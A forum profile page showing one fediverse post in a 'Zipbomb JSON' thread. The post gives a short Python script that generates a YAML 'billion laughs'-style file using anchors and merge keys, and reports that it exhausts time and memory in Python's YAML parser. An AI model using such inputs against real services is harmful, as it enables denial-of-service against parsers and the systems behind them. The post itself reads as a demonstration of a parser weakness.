Skip to content
0
  • Home
  • Piero Bosio
  • Blog
  • World
  • Fediverso
  • News
  • Categories
  • Old Web Site
  • Recent
  • Popular
  • Tags
  • Users
  • Home
  • Piero Bosio
  • Blog
  • World
  • Fediverso
  • News
  • Categories
  • Old Web Site
  • Recent
  • Popular
  • Tags
  • Users
Skins
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • Default (No Skin)
  • No Skin
Collapse

Piero Bosio Social Web Site Personale Logo Fediverso

Social Forum federato con il resto del mondo. Non contano le istanze, contano le persone
prozacchiwawa@functional.cafeundefined

prozacchiwawa

@prozacchiwawa@functional.cafe
About
Posts
1
Topics
0
Shares
0
Groups
0
Followers
0
Following
0

View Original

Posts

Recent Best Controversial

  • Zipbomb JSON.
    prozacchiwawa@functional.cafeundefined prozacchiwawa@functional.cafe

    @jwz yaml could be a good target for this too since it canonically supports references and ways to modify referenced data.

    this python

    print('a0: &t0')
    print(' f0: v0')

    for x in range(33):
    print(f'a{x+1}: &t{x+1}')
    print(f' <<: *t{x}')
    if x > 2:
    print(f' <<: *t{x-1}')
    print(f' f{x+1}: v{x+1} #override')
    print(f' g{x+1}: w{x+1} #override')

    generates a yaml file that takes a while to load in python's yaml parser:

    $ time python3 tl.py

    real 0m31.946s
    user 0m31.629s
    sys 0m0.286s

    40 steps gets the python interpreter over 5 gig (i'm too lazy to run this to completion) using just 2872 bytes of input.

    Uncategorized
  • Login

  • Login or register to search.
  • First post
    Last post